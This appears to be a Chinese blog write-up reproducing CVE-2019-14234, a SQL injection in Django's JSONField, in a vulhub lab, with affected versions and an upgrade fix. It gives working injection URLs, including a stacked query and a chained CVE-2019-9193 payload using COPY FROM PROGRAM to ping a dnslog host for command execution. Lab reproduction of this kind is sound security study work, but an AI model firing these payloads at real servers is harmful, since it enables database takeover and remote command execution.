CVE-2019-14234:Django JSONField SQL注入漏洞复现

  • 你剥开一个很酸的橙子而感到后悔了,可对于橙子来说,那是它的一切.

该漏洞需要开发者使用了JSONField/HStoreField,且用户可控queryset查询时的键名,在键名的位置注入SQL语句。

漏洞概述:

Django通常搭配postgresql数据库,而JSONField是该数据库的一种数据类型。该漏洞的出现的原因在于Django中JSONField类的实现,Django的model最本质的作用是生成SQL语句,而在Django通过JSONField生成sql语句时,是通过简单的字符串拼接。

通过JSONField类获得KeyTransform类并生成sql语句的位置。
其中key_name是可控的字符串,最终生成的语句是WHERE (field->’[key_name]’) = ‘value’,因此可以进行SQL注入。

漏洞版本:

  • Django
    1.11.x before 1.11.23
    2.1.x before 2.1.11
    2.2.x before 2.2.4

漏洞复现:

  1. vulhub搭建,进行访问

  2. 通过对代码的分析,可以知道如果在你的Django中使用了JSONField并且查询的“键名”可控,就可以进行SQL注入

  3. 访问http://ip:8000/admin输入用户名admin ,密码a123123123

  4. 然后访问http://ip:8000/admin/vuln/collection/

  5. 构造URL进行查询,可以看到已经注入成功,并且可以看到构造的SQL语句
    http://ip:8000/admin/vuln/collection/?detail__a%27b=123

    7.下一步结合CVE-2019-9193我们尝试进行命令注入,构造url如下
    ?detail__title’)%3d’1’ or 1%3d1 %3bcreate table cmd_exec(cmd_output text)–%20

  6. 然后用dnslog检测是否可以执行命令
    http://192.168.224.128:8000/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%20%3bcopy%20cmd_exec%20FROM%20PROGRAM%20%27ping%20wyz26d.dnslog.cn%27–%20

  7. 成功检测到流量

漏洞修复:

  • 升级升级升级。

    余生很长,请多指教。

Django CVE-2019-14234相关推荐

  1. 细数Django框架核心历史SQL注入漏洞(上)

    本博客已搬迁至:https://n0puple.github.io/ 此处不再更新文章 本文首发于奇安信攻防社区:https://forum.butian.net/share/1923 本文仅用于技术 ...

  2. 2021年第一季度Sumap网络空间测绘CVE漏洞趋势安全分析报告

    前言 本文主要通过网络测绘角度收集各种资产协议的版本号信息,通过比对CVE漏洞影响范围中的版本号方式,进行安全风险趋势分析,无任何实际危害互联网行为.资产在携带版本中也会存在修复补丁后版本不变的情况. ...

  3. 基于django的二手房交易预测及展示系统

    基于django的二手房交易预测及展示系统 摘要 本章主要讲述了一种基于Django的二手房买卖预测和显示软件系统.该系统主要包含了数据采集.预测分析.数据预处理块.模型训练和显示分析.首先,系统使用 ...

  4. 未发现数据源名称并且未指定默认驱动程序_看我如何发现NVIDIA GeForce Experience代码执行漏洞...

    0x01 前言大家好,我是来自Chengdu University of Technology的Siyuan Yi,本人是一名安全爱好者,平时喜欢搞搞逆向,玩玩CTF.不久前,我发现了我的第一个0da ...

  5. VMware vCenter Server Appliance Photon OS安全修补程序

    VMware vCenter Server Appliance Photon OS安全修补程序 上次更新时间 2019年12月19日 https://docs.vmware.com/en/VMware ...

  6. 工控系统的全球安全现状:全球漏洞实例分析

    工控系统的全球安全现状:全球漏洞实例分析 一.摘要 ​ 运营技术(OT).网络和设备,即工业环境中使用的所有组件,在设计时并未考虑到安全性.效率和易用性是最重要的设计特征,然而,由于工业的数字化,越来 ...

  7. 2023年4月Kali MSF命令模块最详细模块与利用解释整合

    前言 注意:前提概要<请遵守您本国家的相关法律法规,如有其他疑问或者任何事情与我本人无关> 开始 首先我们启动命令 msfconsole 我们应该都知道msf有三个大模块 use auxi ...

  8. 2019.03.20 mvt,Django分页

    MVT模式 MVT各部分的功能: M全拼为Model,与MVC中的M功能相同,负责和数据库交互,进行数据处理. V全拼为View,与MVC中的C功能相同,接收请求,进行业务处理,返回响应. T全拼为T ...

  9. 【2019.06.16】Django + 微信小程序 实现微信小程序1——小程序基本信息,开发规范

    小程序基本信息 微信官方网站注册微信小程序账号 小程序开发规范 开发规范 - 目录规范.命名规范.代码规范 目录规范: utils(工具) pages(页面) compaonents(主键) thir ...

  10. Django学习之路(一)--初识django

    1.先创建虚拟环境 为什么要创建虚拟环境呢? 你有两个项目同时进行,一个需要pytnon3.9和Django3.x版本的,一个需要python3.7和Django2.x版本的,不进行环境隔离的话,运行 ...

最新文章

  1. 学术会议,已沦为表演...
  2. js中console在一行内打印字符串和对象
  3. codeforces271D
  4. java正则表达式的基本语法以及不同环境的表单验证
  5. Linux-makefile
  6. 计算机原理实验八位算术逻辑运算,8位算术逻辑运算计算机组成原理实验一
  7. VS2012 无法启动IIS Express Web服务器的解决方案
  8. 对DataGridView中的DataGridViewComboBoxColumn有了一点点体会
  9. 什么是GreenSock动画平台?
  10. CRIO脱机计算机工作,LabVIEW和cRIO入门
  11. 如何将数据库删除干净
  12. vue 中动态添加组件方式
  13. 科学计算机上lg怎么打,科学计算器对数
  14. gmail无法登陆的解决!!
  15. KERNEL_DIR、系统平台、交叉编译器的指定,以及内核模块驱动文件的签名
  16. 针对灰产外挂的分析与研究
  17. 论文阅读:Generating Talking Face Landmarks from Speech
  18. Python每日一练-----Excel表序号
  19. YOLOv7-Pose尝鲜,基于YOLOv7的关键点模型测评
  20. JS中click事件

热门文章

  1. 58同城数据库架构最佳实践
  2. llinux的shell脚本编程详解
  3. [WPF]使用Fody提高效率
  4. ASP.NET Web Pages:Chart 帮助器
  5. python进阶八_警告和异常
  6. Ifvisible.js – 判断网页中的用户是闲置还是活动状态
  7. HTML rel 属性
  8. stm8s103k3 周期 捕获_STM8S103K3 - 主流基本型系列8位MCU,具有8 KB Flash、16 MHz CPU和集成EEPROM - STMicroelectronics...
  9. 表单如何添加大的文本框_在 Flutter 中进行文本框的创建和设定
  10. github 搜索_Fzf:Golang开发的Github高星系统模糊搜索补全工具